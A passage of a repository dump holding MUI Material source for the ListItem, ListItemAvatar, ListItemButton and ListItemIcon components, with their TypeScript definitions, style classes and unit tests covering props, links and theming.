    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ListItemClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the component element if dense. */\n  dense: string;\n  /** Styles applied to the component element if `alignItems=\"flex-start\"`. */\n  alignItemsFlexStart: string;\n  /** Styles applied to the inner `component` element if `divider={true}`. */\n  divider: string;\n  /** Styles applied to the inner `component` element unless `disableGutters={true}`. */\n  gutters: string;\n  /** Styles applied to the root element unless `disablePadding={true}`. */\n  padding: string;\n  /** Styles applied to the secondary action element. */\n  secondaryAction: string;\n}\n\nexport type ListItemClassKey = keyof ListItemClasses;\n\nexport function getListItemUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiListItem', slot);\n}\n\nconst listItemClasses: ListItemClasses = generateUtilityClasses('MuiListItem', [\n  'root',\n  'dense',\n  'alignItemsFlexStart',\n  'divider',\n  'gutters',\n  'padding',\n  'secondaryAction',\n]);\n\nexport default listItemClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemAvatar/ListItemAvatar.d.ts",
    "content": "import { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { ListItemAvatarClasses } from './listItemAvatarClasses';\n\nexport interface ListItemAvatarProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The content of the component, normally an `Avatar`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ListItemAvatarClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n * A simple wrapper to apply `List` styles to an `Avatar`.\n *\n * Demos:\n *\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n *\n * API:\n *\n * - [ListItemAvatar API](https://next.mui.com/material-ui/api/list-item-avatar/)\n */\nexport default function ListItemAvatar(props: ListItemAvatarProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemAvatar/ListItemAvatar.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport ListContext from '../List/ListContext';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getListItemAvatarUtilityClass } from './listItemAvatarClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { alignItems, classes } = ownerState;\n\n  const slots = {\n    root: ['root', alignItems === 'flex-start' && 'alignItemsFlexStart'],\n  };\n\n  return composeClasses(slots, getListItemAvatarUtilityClass, classes);\n};\n\nconst ListItemAvatarRoot = styled('div', {\n  name: 'MuiListItemAvatar',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.alignItems === 'flex-start' && styles.alignItemsFlexStart];\n  },\n})({\n  minWidth: 56,\n  flexShrink: 0,\n  variants: [\n    {\n      props: {\n        alignItems: 'flex-start',\n      },\n      style: {\n        marginTop: 8,\n      },\n    },\n  ],\n});\n\n/**\n * A simple wrapper to apply `List` styles to an `Avatar`.\n */\nconst ListItemAvatar = React.forwardRef(function ListItemAvatar(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiListItemAvatar',\n  });\n\n  const { className, ...other } = props;\n  const context = React.useContext(ListContext);\n  const ownerState = { ...props, alignItems: context.alignItems };\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ListItemAvatarRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nListItemAvatar.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally an `Avatar`.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default ListItemAvatar;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemAvatar/ListItemAvatar.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport ListItemAvatar, { listItemAvatarClasses as classes } from '@mui/material/ListItemAvatar';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ListItemAvatar />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <ListItemAvatar>\n      <div />\n    </ListItemAvatar>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiListItemAvatar',\n      refInstanceof: window.HTMLDivElement,\n      skip: ['componentProp', 'themeVariants'],\n    }),\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/src/ListItemAvatar/index.d.ts",
    "content": "export { default } from './ListItemAvatar';\nexport * from './ListItemAvatar';\n\nexport { default as listItemAvatarClasses } from './listItemAvatarClasses';\nexport * from './listItemAvatarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemAvatar/index.js",
    "content": "export { default } from './ListItemAvatar';\n\nexport { default as listItemAvatarClasses } from './listItemAvatarClasses';\nexport * from './listItemAvatarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemAvatar/listItemAvatarClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ListItemAvatarClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element when the parent `ListItem` uses `alignItems=\"flex-start\"`. */\n  alignItemsFlexStart: string;\n}\n\nexport type ListItemAvatarClassKey = keyof ListItemAvatarClasses;\n\nexport function getListItemAvatarUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiListItemAvatar', slot);\n}\n\nconst listItemAvatarClasses: ListItemAvatarClasses = generateUtilityClasses('MuiListItemAvatar', [\n  'root',\n  'alignItemsFlexStart',\n]);\n\nexport default listItemAvatarClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemButton/ListItemButton.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { ListItemButtonClasses } from './listItemButtonClasses';\n\n/**\n * This interface is kept for backward compatibility. To extend `LitItemButton`\n * props through module augmentation, use `ListItemButtonOwnProps`.\n */\nexport interface ListItemButtonBaseProps {\n  /**\n   * Defines the `align-items` style property.\n   * @default 'center'\n   */\n  alignItems?: 'flex-start' | 'center' | undefined;\n  /**\n   * If `true`, the list item is focused during the first mount.\n   * Focus will also be triggered if the value changes from false to true.\n   * @default false\n   */\n  autoFocus?: boolean | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ListItemButtonClasses> | undefined;\n  /**\n   * If `true`, compact vertical padding designed for keyboard and mouse input is used.\n   * The prop defaults to the value inherited from the parent List component.\n   * @default false\n   */\n  dense?: boolean | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters?: boolean | undefined;\n  /**\n   * If `true`, a 1px light border is added to the bottom of the list item.\n   * @default false\n   */\n  divider?: boolean | undefined;\n  /**\n   * Use to apply selected styling.\n   * @default false\n   */\n  selected?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ListItemButtonOwnProps extends ListItemButtonBaseProps {}\n\nexport type ListItemButtonTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & ListItemButtonOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n *\n * Demos:\n *\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n *\n * API:\n *\n * - [ListItemButton API](https://next.mui.com/material-ui/api/list-item-button/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const ListItemButton: ExtendButtonBase<ListItemButtonTypeMap>;\n\nexport type ListItemButtonProps<\n  RootComponent extends React.ElementType = ListItemButtonTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ListItemButtonTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default ListItemButton;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemButton/ListItemButton.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport ButtonBase from '../ButtonBase';\nimport useEnhancedEffect from '../utils/useEnhancedEffect';\nimport useForkRef from '../utils/useForkRef';\nimport ListContext from '../List/ListContext';\nimport listItemButtonClasses, { getListItemButtonUtilityClass } from './listItemButtonClasses';\n\nexport const overridesResolver = (props, styles) => {\n  const { ownerState } = props;\n\n  return [\n    styles.root,\n    ownerState.dense && styles.dense,\n    ownerState.alignItems === 'flex-start' && styles.alignItemsFlexStart,\n    ownerState.divider && styles.divider,\n    !ownerState.disableGutters && styles.gutters,\n  ];\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { alignItems, classes, dense, disabled, disableGutters, divider, selected } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      dense && 'dense',\n      !disableGutters && 'gutters',\n      divider && 'divider',\n      disabled && 'disabled',\n      alignItems === 'flex-start' && 'alignItemsFlexStart',\n      selected && 'selected',\n    ],\n  };\n\n  const composedClasses = composeClasses(slots, getListItemButtonUtilityClass, classes);\n\n  return {\n    ...classes,\n    ...composedClasses,\n  };\n};\n\nconst ListItemButtonRoot = styled(ButtonBase, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiListItemButton',\n  slot: 'Root',\n  overridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    flexGrow: 1,\n    justifyContent: 'flex-start',\n    alignItems: 'center',\n    position: 'relative',\n    textDecoration: 'none',\n    minWidth: 0,\n    boxSizing: 'border-box',\n    textAlign: 'left',\n    paddingTop: 8,\n    paddingBottom: 8,\n    transition: theme.transitions.create('background-color', {\n      duration: theme.transitions.duration.shortest,\n    }),\n    '&:hover': {\n      textDecoration: 'none',\n      backgroundColor: (theme.vars || theme).palette.action.hover,\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: 'transparent',\n      },\n    },\n    [`&.${listItemButtonClasses.selected}`]: {\n      backgroundColor: theme.alpha(\n        (theme.vars || theme).palette.primary.main,\n        (theme.vars || theme).palette.action.selectedOpacity,\n      ),\n      [`&.${listItemButtonClasses.focusVisible}`]: {\n        backgroundColor: theme.alpha(\n          (theme.vars || theme).palette.primary.main,\n          `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.focusOpacity}`,\n        ),\n      },\n    },\n    [`&.${listItemButtonClasses.selected}:hover`]: {\n      backgroundColor: theme.alpha(\n        (theme.vars || theme).palette.primary.main,\n        `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.hoverOpacity}`,\n      ),\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: theme.alpha(\n          (theme.vars || theme).palette.primary.main,\n          (theme.vars || theme).palette.action.selectedOpacity,\n        ),\n      },\n    },\n    [`&.${listItemButtonClasses.focusVisible}`]: {\n      backgroundColor: (theme.vars || theme).palette.action.focus,\n    },\n    [`&.${listItemButtonClasses.disabled}`]: {\n      opacity: (theme.vars || theme).palette.action.disabledOpacity,\n    },\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.divider,\n        style: {\n          borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n          backgroundClip: 'padding-box',\n        },\n      },\n      {\n        props: {\n          alignItems: 'flex-start',\n        },\n        style: {\n          alignItems: 'flex-start',\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.disableGutters,\n        style: {\n          paddingLeft: 16,\n          paddingRight: 16,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.dense,\n        style: {\n          paddingTop: 4,\n          paddingBottom: 4,\n        },\n      },\n    ],\n  })),\n);\n\nconst ListItemButton = React.forwardRef(function ListItemButton(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiListItemButton' });\n  const {\n    alignItems = 'center',\n    autoFocus = false,\n    component = 'div',\n    children,\n    dense = false,\n    disableGutters = false,\n    divider = false,\n    focusVisibleClassName,\n    selected = false,\n    className,\n    ...other\n  } = props;\n\n  const context = React.useContext(ListContext);\n  const childContext = React.useMemo(\n    () => ({\n      dense: dense || context.dense || false,\n      alignItems,\n      disableGutters,\n    }),\n    [alignItems, context.dense, dense, disableGutters],\n  );\n\n  const listItemRef = React.useRef(null);\n  useEnhancedEffect(() => {\n    if (autoFocus) {\n      if (listItemRef.current) {\n        listItemRef.current.focus();\n      } else if (process.env.NODE_ENV !== 'production') {\n        console.error(\n          'MUI: Unable to set focus to a ListItemButton whose component has not been rendered.',\n        );\n      }\n    }\n  }, [autoFocus]);\n\n  const ownerState = {\n    ...props,\n    alignItems,\n    dense: childContext.dense,\n    disableGutters,\n    divider,\n    selected,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const handleRef = useForkRef(listItemRef, ref);\n\n  return (\n    <ListContext.Provider value={childContext}>\n      <ListItemButtonRoot\n        ref={handleRef}\n        href={other.href || other.to}\n        // `ButtonBase` processes `href` or `to` if `component` is set to 'button'\n        component={(other.href || other.to) && component === 'div' ? 'button' : component}\n        internalNativeButton={false}\n        focusVisibleClassName={clsx(classes.focusVisible, focusVisibleClassName)}\n        ownerState={ownerState}\n        className={clsx(classes.root, className)}\n        {...other}\n        classes={classes}\n      >\n        {children}\n      </ListItemButtonRoot>\n    </ListContext.Provider>\n  );\n});\n\nListItemButton.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Defines the `align-items` style property.\n   * @default 'center'\n   */\n  alignItems: PropTypes.oneOf(['center', 'flex-start']),\n  /**\n   * If `true`, the list item is focused during the first mount.\n   * Focus will also be triggered if the value changes from false to true.\n   * @default false\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, compact vertical padding designed for keyboard and mouse input is used.\n   * The prop defaults to the value inherited from the parent List component.\n   * @default false\n   */\n  dense: PropTypes.bool,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters: PropTypes.bool,\n  /**\n   * If `true`, a 1px light border is added to the bottom of the list item.\n   * @default false\n   */\n  divider: PropTypes.bool,\n  /**\n   * This prop can help identify which element has keyboard focus.\n   * The class name will be applied when the element gains the focus through keyboard interaction.\n   * It's a polyfill for the [CSS :focus-visible selector](https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo).\n   * The rationale for using this feature [is explained here](https://github.com/WICG/focus-visible/blob/HEAD/explainer.md).\n   * A [polyfill can be used](https://github.com/WICG/focus-visible) to apply a `focus-visible` class to other components\n   * if needed.\n   */\n  focusVisibleClassName: PropTypes.string,\n  /**\n   * @ignore\n   */\n  href: PropTypes.string,\n  /**\n   * Use to apply selected styling.\n   * @default false\n   */\n  selected: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default ListItemButton;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemButton/ListItemButton.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { act, createRenderer, fireEvent, screen, isJsdom } from '@mui/internal-test-utils';\nimport ListItemButton, { listItemButtonClasses as classes } from '@mui/material/ListItemButton';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport ListContext from '../List/ListContext';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ListItemButton />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<ListItemButton />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'a',\n    muiName: 'MuiListItemButton',\n    testVariantProps: { dense: true },\n  }));\n\n  it('should render with gutters classes', () => {\n    render(<ListItemButton />);\n    expect(screen.getByRole('button')).to.have.class(classes.gutters);\n  });\n\n  it('should render with the selected class', () => {\n    render(<ListItemButton selected />);\n    expect(screen.getByRole('button')).to.have.class(classes.selected);\n  });\n\n  it('should disable the gutters', () => {\n    render(<ListItemButton disableGutters />);\n    expect(screen.getByRole('button')).not.to.have.class(classes.gutters);\n  });\n\n  describe('context: dense', () => {\n    it('should forward the context', () => {\n      let context = null;\n      const { setProps } = render(\n        <ListItemButton>\n          <ListContext.Consumer>\n            {(options) => {\n              context = options;\n            }}\n          </ListContext.Consumer>\n        </ListItemButton>,\n      );\n      expect(context).to.have.property('dense', false);\n      setProps({ dense: true });\n      expect(context).to.have.property('dense', true);\n    });\n  });\n\n  describe.skipIf(isJsdom())('prop: focusVisibleClassName', () => {\n    it('should merge the class names', async () => {\n      render(<ListItemButton focusVisibleClassName=\"focusVisibleClassName\" />);\n\n      const button = screen.getByRole('button');\n\n      fireEvent.keyDown(document.activeElement || document.body, { key: 'Tab' });\n\n      await act(async () => {\n        button.focus();\n      });\n\n      expect(button).to.have.class('focusVisibleClassName');\n      expect(button).to.have.class(classes.focusVisible);\n    });\n  });\n\n  describe('prop: href', () => {\n    const href = 'example.com';\n\n    it('should rendered as link without specifying component=\"a\"', () => {\n      render(<ListItemButton href={href} />);\n\n      const link = screen.getByRole('link');\n\n      expect(!!link).to.equal(true);\n    });\n\n    it('should rendered as link when specifying component=\"div\"', () => {\n      render(<ListItemButton href={href} component=\"div\" />);\n\n      const link = screen.getByRole('link');\n\n      expect(!!link).to.equal(true);\n    });\n\n    it('should rendered as link when specifying component=\"a\"', () => {\n      render(<ListItemButton href={href} component=\"a\" />);\n\n      const link = screen.getByRole('link');\n\n      expect(!!link).to.equal(true);\n    });\n\n    it('should rendered as specifying component', () => {\n      render(<ListItemButton href={href} component=\"h1\" />);\n\n      const heading = screen.getByRole('heading');\n\n      expect(!!heading).to.equal(true);\n    });\n  });\n\n  describe('prop: to', () => {\n    const to = 'example.com';\n\n    it('should rendered as link without specifying component=\"a\"', () => {\n      render(<ListItemButton to={to} />);\n\n      const link = screen.getByRole('link');\n\n      expect(!!link).to.equal(true);\n    });\n\n    it('should rendered as link when specifying component=\"div\"', () => {\n      render(<ListItemButton to={to} component=\"div\" />);\n\n      const link = screen.getByRole('link');\n\n      expect(!!link).to.equal(true);\n    });\n\n    it('should rendered as link when specifying component=\"a\"', () => {\n      render(<ListItemButton to={to} component=\"a\" />);\n\n      const link = screen.getByRole('link');\n\n      expect(!!link).to.equal(true);\n    });\n\n    it('should rendered as specifying component', () => {\n      render(<ListItemButton to={to} component=\"h1\" />);\n\n      const heading = screen.getByRole('heading');\n\n      expect(!!heading).to.equal(true);\n    });\n  });\n\n  describe('prop: LinkComponent', () => {\n    const href = 'example.com';\n    const customLinkId = 'customLink';\n    const CustomLink = React.forwardRef((props, ref) => {\n      // eslint-disable-next-line jsx-a11y/anchor-has-content\n      return <a data-testid={customLinkId} ref={ref} {...props} />;\n    });\n\n    it('should rendered as LinkComponent when href is provided', () => {\n      const { container } = render(<ListItemButton href={href} LinkComponent={CustomLink} />);\n      const button = container.firstChild;\n\n      expect(screen.getByTestId(customLinkId)).not.to.equal(null);\n      expect(button).to.have.property('nodeName', 'A');\n      expect(button).to.have.attribute('href', href);\n    });\n\n    it('should ignore LinkComponent is component is provided', () => {\n      const { container } = render(\n        <ListItemButton href={href} LinkComponent={CustomLink} component=\"h1\" />,\n      );\n      const button = container.firstChild;\n\n      expect(screen.queryByTestId(customLinkId)).to.equal(null);\n      expect(button).to.have.property('nodeName', 'H1');\n      expect(button).to.have.attribute('href', href);\n    });\n\n    it('should rendered as LinkComponent (from theme) when href is provided', () => {\n      const theme = createTheme({\n        components: {\n          MuiListItemButton: {\n            defaultProps: {\n              LinkComponent: CustomLink,\n            },\n          },\n        },\n      });\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <ListItemButton href={href} />,\n        </ThemeProvider>,\n      );\n      const button = container.firstChild;\n\n      expect(screen.getByTestId(customLinkId)).not.to.equal(null);\n      expect(button).to.have.property('nodeName', 'A');\n      expect(button).to.have.attribute('href', href);\n    });\n\n    it('should rendered as LinkComponent (from theme MuiButtonBase) when href is provided', () => {\n      const theme = createTheme({\n        components: {\n          MuiButtonBase: {\n            defaultProps: {\n              LinkComponent: CustomLink,\n            },\n          },\n        },\n      });\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <ListItemButton href={href} />,\n        </ThemeProvider>,\n      );\n      const button = container.firstChild;\n\n      expect(screen.getByTestId(customLinkId)).not.to.equal(null);\n      expect(button).to.have.property('nodeName', 'A');\n      expect(button).to.have.attribute('href', href);\n    });\n\n    it('should prefer LinkComponent from MuiListItemButton over MuiButtonBase', () => {\n      const WrongCustomLink = React.forwardRef((props, ref) => {\n        // eslint-disable-next-line jsx-a11y/anchor-has-content\n        return <a data-testid=\"wrong-link\" ref={ref} {...props} />;\n      });\n\n      const theme = createTheme({\n        components: {\n          MuiListItemButton: {\n            defaultProps: {\n              LinkComponent: CustomLink,\n            },\n          },\n          MuiButtonBase: {\n            defaultProps: {\n              LinkComponent: WrongCustomLink,\n            },\n          },\n        },\n      });\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <ListItemButton href={href} />,\n        </ThemeProvider>,\n      );\n      const button = container.firstChild;\n\n      expect(screen.getByTestId(customLinkId)).not.to.equal(null);\n      expect(button).to.have.property('nodeName', 'A');\n      expect(button).to.have.attribute('href', href);\n    });\n  });\n\n  describe('prop: nativeButton', () => {\n    it('uses link mode (not native-button) when href is present', () => {\n      render(<ListItemButton href=\"https://example.com\" />);\n\n      const link = screen.getByRole('link');\n      expect(link).to.have.tagName('A');\n      expect(link).not.to.have.attribute('type', 'button');\n      expect(link).not.to.have.attribute('role', 'button');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ListItemButton/index.d.ts",
    "content": "export { default } from './ListItemButton';\nexport * from './ListItemButton';\n\nexport { default as listItemButtonClasses } from './listItemButtonClasses';\nexport * from './listItemButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemButton/index.js",
    "content": "export { default } from './ListItemButton';\n\nexport { default as listItemButtonClasses } from './listItemButtonClasses';\nexport * from './listItemButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemButton/listItemButtonClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ListItemButtonClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the `component`'s `focusVisibleClassName` prop. */\n  focusVisible: string;\n  /** Styles applied to the component element if dense. */\n  dense: string;\n  /** Styles applied to the component element if `alignItems=\"flex-start\"`. */\n  alignItemsFlexStart: string;\n  /** State class applied to the inner `component` element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the inner `component` element if `divider={true}`. */\n  divider: string;\n  /** Styles applied to the inner `component` element unless `disableGutters={true}`. */\n  gutters: string;\n  /** State class applied to the root element if `selected={true}`. */\n  selected: string;\n}\n\nexport type ListItemButtonClassKey = keyof ListItemButtonClasses;\n\nexport function getListItemButtonUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiListItemButton', slot);\n}\n\nconst listItemButtonClasses: ListItemButtonClasses = generateUtilityClasses('MuiListItemButton', [\n  'root',\n  'focusVisible',\n  'dense',\n  'alignItemsFlexStart',\n  'disabled',\n  'divider',\n  'gutters',\n  'selected',\n]);\n\nexport default listItemButtonClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemIcon/ListItemIcon.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { ListItemIconClasses } from './listItemIconClasses';\n\nexport interface ListItemIconProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The content of the component, normally `Icon`, `SvgIcon`,\n   * or a `@mui/icons-material` SVG icon element.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ListItemIconClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n * A simple wrapper to apply `List` styles to an `Icon` or `SvgIcon`.\n *\n * Demos:\n *\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n *\n * API:\n *\n * - [ListItemIcon API](https://next.mui.com/material-ui/api/list-item-icon/)\n */\nexport default function ListItemIcon(props: ListItemIconProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemIcon/ListItemIcon.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getListItemIconUtilityClass } from './listItemIconClasses';\nimport ListContext from '../List/ListContext';\n\nconst useUtilityClasses = (ownerState) => {\n  const { alignItems, classes } = ownerState;\n\n  const slots = {\n    root: ['root', alignItems === 'flex-start' && 'alignItemsFlexStart'],\n  };\n\n  return composeClasses(slots, getListItemIconUtilityClass, classes);\n};\n\nconst ListItemIconRoot = styled('div', {\n  name: 'MuiListItemIcon',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.alignItems === 'flex-start' && styles.alignItemsFlexStart];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    minWidth: theme.spacing(4.5),\n    color: (theme.vars || theme).palette.action.active,\n    flexShrink: 0,\n    display: 'inline-flex',\n    variants: [\n      {\n        props: {\n          alignItems: 'flex-start',\n        },\n        style: {\n          marginTop: 8,\n        },\n      },\n    ],\n  })),\n);\n\n/**\n * A simple wrapper to apply `List` styles to an `Icon` or `SvgIcon`.\n */\nconst ListItemIcon = React.forwardRef(function ListItemIcon(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiListItemIcon',\n  });\n\n  const { className, ...other } = props;\n  const context = React.useContext(ListContext);\n  const ownerState = { ...props, alignItems: context.alignItems };\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ListItemIconRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nListItemIcon.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally `Icon`, `SvgIcon`,\n   * or a `@mui/icons-material` SVG icon element.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default ListItemIcon;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemIcon/ListItemIcon.test.js",
